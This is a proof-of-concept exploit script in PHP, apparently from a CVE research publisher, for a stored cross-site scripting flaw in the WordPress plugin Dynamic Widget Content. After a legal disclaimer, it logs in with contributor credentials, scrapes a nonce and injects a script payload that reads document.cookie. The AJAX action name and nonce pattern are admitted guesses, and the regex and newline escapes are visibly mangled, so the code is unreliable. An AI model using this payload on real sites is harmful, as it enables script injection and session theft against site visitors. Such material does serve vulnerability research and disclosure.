CVE-2026-1268: Dynamic Widget Content <= 1.3.6 – Authenticated (Contributor+) Stored Cross-Site Scripting via Widget Content Field (dynamic-widget-content)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1268 - Dynamic Widget Content <= 1.3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Widget Content Field
<?php
/**
 * Proof of Concept for CVE-2026-1268
 * Assumptions based on vulnerability description:
 * 1. Plugin uses WordPress block editor (Gutenberg) integration
 * 2. Vulnerability exists in widget content field
 * 3. Attack requires Contributor+ authentication
 * 4. No specific endpoint mentioned, so we simulate block editor POST
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_password'; // CHANGE THIS

// Payload to inject - basic XSS proof
$malicious_content = '<script>alert("Atomic Edge CVE-2026-1268 PoC: "+document.cookie)</script>';

// First, authenticate and get WordPress nonce for block editor
function authenticate_and_get_nonce($target_url, $username, $password) {
    $login_url = $target_url . '/wp-login.php';
    $admin_url = $target_url . '/wp-admin/post-new.php';
    
    // Create temporary cookie file
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1268_');
    
    // Step 1: Login to WordPress
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $username,
            'pwd' => $password,
            'wp-submit' => 'Log In',
            'redirect_to' => $admin_url,
            'testcookie' => '1'
        ]),
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_USERAGENT => 'Atomic Edge CVE Research/1.0'
    ]);
    
    $response = curl_exec($ch);
    
    // Step 2: Extract editor nonce from new post page
    curl_setopt($ch, CURLOPT_URL, $admin_url);
    curl_setopt($ch, CURLOPT_HTTPGET, true);
    $editor_page = curl_exec($ch);
    curl_close($ch);
    
    // Look for common nonce patterns in block editor
    // This is speculative since exact nonce parameter is unknown
    preg_match('/"nonce"s*:s*"([a-f0-9]+)"/', $editor_page, $matches);
    
    $nonce = $matches[1] ?? 'could_not_extract_nonce';
    
    return ['cookie_file' => $cookie_file, 'nonce' => $nonce];
}

// Simulate block editor save with malicious content
function inject_xss_payload($target_url, $auth_data, $malicious_content) {
    $save_url = $target_url . '/wp-admin/admin-ajax.php';
    
    // Construct plausible AJAX request for block editor save
    // This is inferred since exact endpoint isn't specified in CVE metadata
    $post_data = [
        'action' => 'dynamic_widget_content_save', // Inferred from plugin slug
        'nonce' => $auth_data['nonce'],
        'post_id' => 'new',
        'content' => $malicious_content,
        'blockName' => 'dynamic-widget-content/block',
        'attributes' => json_encode(['content' => $malicious_content])
    ];
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $save_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_COOKIEFILE => $auth_data['cookie_file'],
        CURLOPT_COOKIEJAR => $auth_data['cookie_file'],
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_USERAGENT => 'Atomic Edge CVE Research/1.0'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Cleanup
    if (file_exists($auth_data['cookie_file'])) {
        unlink($auth_data['cookie_file']);
    }
    
    return ['http_code' => $http_code, 'response' => $response];
}

// Execute PoC
if ($target_url && $username && $password) {
    echo "[+] Starting CVE-2026-1268 PoCn";
    echo "[+] Target: $target_urln";
    
    $auth_data = authenticate_and_get_nonce($target_url, $username, $password);
    echo "[+] Authentication attempted, nonce: " . $auth_data['nonce'] . "n";
    
    $result = inject_xss_payload($target_url, $auth_data, $malicious_content);
    echo "[+] Injection HTTP Code: " . $result['http_code'] . "n";
    echo "[+] Response: " . substr($result['response'], 0, 200) . "n";
    
    if ($result['http_code'] == 200) {
        echo "[?] Check frontend page for XSS executionn";
        echo "[?] Visit the created/edited post to see if alert triggersn";
    } else {
        echo "[-] Injection may have failed or endpoint incorrectn";
        echo "[-] Actual exploit requires precise endpoint knowledgen";
    }
} else {
    echo "[-] Please configure target_url, username, and passwordn";
}
?>